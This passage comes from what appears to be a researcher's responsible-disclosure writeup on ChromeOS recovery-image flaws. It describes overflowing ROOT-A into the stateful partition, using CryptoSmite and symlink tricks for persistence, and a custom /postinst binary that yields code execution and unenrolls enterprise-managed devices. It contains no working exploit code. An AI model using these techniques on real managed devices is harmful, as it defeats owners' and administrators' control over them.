now was the offset from ROOT-A to other partitions. +It should be noted that chromeos-install copies the ROOT-A partition of the recovery drive to both ROOT-A and ROOT-B of the internal drive. +The redundancy is a measure in ChromeOS designed to make auto-updating easier, and safer as there is always an older one to roll back to +in case something goes seriously wrong. + +Back on topic, there are 3 different base disk layouts that ChromeOS devices can use. + +- The [legacy disk layout](https://chromium.googlesource.com/chromiumos/platform/crosutils/+/HEAD/build_library/legacy_disk_layout.json), +which was used on devices manufactured up through 2020 +- [Disk layout v2](https://chromium.googlesource.com/chromiumos/platform/crosutils/+/HEAD/build_library/disk_layout_v2.json), +which was used on devices manufactured between 2019 and 2024 +- [Disk layout v3](https://chromium.googlesource.com/chromiumos/platform/crosutils/+/HEAD/build_library/disk_layout_v3.json), +which is used on devices manufactured in 2022 or later. + +The difference between the first 2 is negligible; the default size of the rootfs partitions was changed from 2 GiB to 4 GiB. +The v3 disk layout reorders some partitions, and adds new partitions (MINIOS-A/B and POWERWASH-DATA). + +While looking at the layouts (primary legacy and v2), you may notice that the user data partition (STATE/stateful) is situated +immediately after ROOT-A. Great, that means we can overflow data from ROOT-A into stateful, right? Well, kind of. + +An optimization was added to chromeos-install in [r86](https://crrev.com/c/2330304), which splits the rootfs copied from the USB drive to the internal drive into 4 chunks. +This allows the recovery process to be faster overall, as it takes advantage of the disk cache to avoid copying the same data twice. +(As remember, ROOT-A of the USB drive is copied to both ROOT-A and ROOT-B of the internal disk) +However, this creates an issue. While we can still overflow data into stateful, ROOT-A ends up with an exact copy of the data on stateful. +This makes the system unable to boot into ChromeOS after recovery, as ROOT-A is always first rootfs booted after recovery. + +![image](assets/images/chunked.jpg) +Chunks being copied to the disk in a normal recovery image, and chunks being copied to the disk when ROOT-A has been expanded. +And a turtle. + +So, in other words, arbitrary data could be written to the stateful partition on r85 recovery images or older. +Or, a rather inconvenient workaround could be used: expanding ROOT-A on the USB drive by 4x. +This is inconvenient because ROOT-A goes from 4 GiB to 16 GiB, or 2 GiB to 8 GiB on older devices with smaller rootfs partitions. +This makes the total image size up to 17 GiB. + +![image](assets/images/chunked_workaround.jpg) + +Now each of the 4 chunks are 4 GiB (or 2 GiB on older devices), which allows data to be written to the stateful partition without also +being written to ROOT-A. A second inconvenience of this workaround is the need to watch the recovery log on VT3 while it is being installed, +so that the device can be restarted early to avoid potentially corrupting the backup GPT table on small internal drives. + +Now, with the ability to write arbitrary data to the stateful partition, there is one obvious way forward: [CryptoSmite](https://github.com/FWSmasher/CryptoSmite). + +## Persistence + +CryptoSmite is an exploit used to persist encrypted stateful (referred to as encstateful) data through TPM clears. + +To explain this: +The *unencrypted* portion of stateful does not contain any sensitive user data, rather being used to store some non-sensitive system data, a location to store packages +installed through dev_install or [chromebrew](https://github.com/chromebrew/chromebrew), as well as the encrypted stateful filesystem block file. +The *encrypted* portion of stateful contains user data (/home) and variable system data (/var). + +The key for encrypted stateful (encstateful) is stored in the TPM, and is lost whenever the system switches from verified mode to developer mode or the other way around. +(The recovery initramfs also clears the TPM manually during recovery.) +When this happens, the system "clobbers" the stateful partition (also known as a "powerwash") to regenerate keys and restore encstateful to a fresh state. + +CryptoSmite uses a backup key, `encrypted.needs-finalization`, to persist encstateful data across TPM clears, as this key does not rely on a key in the TPM. + +With persisted encstateful data, CryptoSmite sets the `EnrollmentRecoveryRequired` flag to true in the "Local State" file, which is stored on encstateful and is used to +remember the current state of the device and local accounts that have been added to the device. +The `EnrollmentRecoveryRequired` flag allows a device with forced re-enrollment (FRE) to bypass the check, and unenroll. + +CryptoSmite is patched in ChromeOS r120 and higher, so it would not be of any use to currently supported devices. +However, it could be used to unenroll almost every EOL device (at the time of writing this). + +Another potential option would be to try to get some kind of code execution persistence, which Rory McNamara has discovered a few of in the past. + +The first thing I tried was his chronos (non-root account) persistence via custom device policy. (https://crbug.com/1072233) +I created a script that would be called by chrome when it reads the device policy. +The script would relaunch chrome with the `--ui-show-fps-counter` command line flag so it would be easy to tell if my code was running. + +![image](assets/images/policy_persistence.jpg) + +Success! + +Note that there is a gap here where I discovered the "main" part of this exploit. +Skip ahead to [postinst exploit](#postinst-exploit) if you want to read chronologically as I was discovering this. +(This doesn't make sense for the purpose of the writeup, so I suggest you read it in order.) + +The next step was to get an interactive shell. I was able to borrow some command line flags from +[factory test mode](https://chromium.googlesource.com/chromiumos/platform/factory/+/HEAD/init/goofy.d/chrome_dev.conf) +to get chrome to relaunch with a custom crosh kiosk app that I put on the injected stateful partition +(similar to [chrwn](https://github.com/luphoria/chromeos-rootable/blob/master/chrwn.zip) by luphoria). + +![image](assets/images/crosh_kiosk.jpg) + +It works! And I can use the privilege escalation that I "made" a year ago. (I combined several of the vulnerabilities that Rory had found into one chain.) +If you're curious, that file can be found [here](https://github.com/luphoria/chromeos-rootable/blob/master/privesc/privesc-80-hyperskid-v3.sh). + +Some issues with this are that it only works up through [r81](https://crrev.com/c/2162859), and the privilege escalation chain is somewhat flimsy. +(I could never get it to have errors but other people have.) +The privilege escalation chain also further constricts the working versions to between r75(?) and r81. + +Later, as I was looking through Rory's vulnerability reports again, I saw 2 that seemed potentially useful: +- [root persistence](https://crbug.com/1252074) using an arbitrary bind mount to get root command execution on every boot +- [root privilege escalation](https://crbug.com/1305267) featuring *disk access to root command execution* + +The first may seem perfect, though unfortunately it only works on a specific release of r93, one which doesn't even have a recovery image. + +The last part of the second report, "disk access to root command execution", was also interesting. "Disk access" here meant access to certain directories on +stateful and encstateful, which we have full control over. The only issue is that, replacing `/var/cache` with a symlink as done in the bug report, chromeos_startup +detects the anomaly and and clobbers stateful on boot. (This is not an issue in the bug report because it is not being used for persistence, rather only being used +while the system is already running). + +However, before [r90](https://crrev.com/c/2696308), it turned out to be possible to use `/var/cache/external_cache` as the symlink, which did not interfere with chromeos_startup. +It may be interesting to note that the ChromiumOS LSM actually enabled this to work, as it causes the `-d "${TO}"` to return false (`${TO}` is the symlink to the directory). +Read Rory's report for more info on this vulnerability. + +![image](assets/images/root_persistence.jpg) +`sleep 1337` is the command run by encrypted_import here + +## Postinst exploit + +So, I didn't actually read all of chromeos-install. I had missed one key detail, which was this: +Postinst runs off ROOT-A on the internal disk, mounted without any verification. + +Above, I said that due to the change introduced in r86, ROOT-A on the internal disk would end up being the same filesystem as the one on stateful when overflowed. +Of course, we could ignore what happens to stateful, and place a binary at `/postinst` in the overflowing filesystem. + +And this was the result: +![image](assets/images/code_execution.jpg) +(sorry for the low quality, this was screenshotted from a video) + +This best part is that this works on the latest version (at the time), +and could even be used to unenroll an enterprise enrolled device with developer mode blocked on the latest version. + +However, a problem arose: +The bug where ROOT-A gets overflowed into doesn't occur on devices with disk layout v3. +But, stateful can still be overflowed into. (Note: an extra 4 MiB offset is added to account for the POWERWASH-DATA partition.) +Additionally, many of these devices are using LVM stateful. I don't know the reason for making the stateful partition use LVM on some of these new devices, +as the old system already works fine. + +Anyway, when chromeos-install installs the stateful partition, instead of copying the filesystem directly; +it whitelists a specific few directories to copy from the USB drive onto the internal disk. +By placing a symlink in the stateful partition beforehand (by overflowing ROOT-B) that points to the ROOT-A (3rd) partition of the internal disk in /dev, +we can once again copy an arbitrary filesystem containing a custom `/postinst` to the internal storage before it gets run. + +And one more thing - it turns out that there wasn't a block_devmode check in recovery images until [r42](https://crrev.com/c/202250), which allows us to modify +recovery images in the "intended" way and still have them boot with developer mode blocked. This only applies to very old devices that have r41 recovery images available, +but still somewhat useful. (This also goes up until [r48](https://crrev.com/c/315800) if you remove the WP screw, which accommodates a few more devices.) + +And that's about it. At this point, I went on to write the build script and create improved payloads. +The bugs had been reported already, so now I just needed for them to be marked fixed and wait 14 weeks. +Here we are, October ~~first~~ fifth, as promised. + +\- OlyB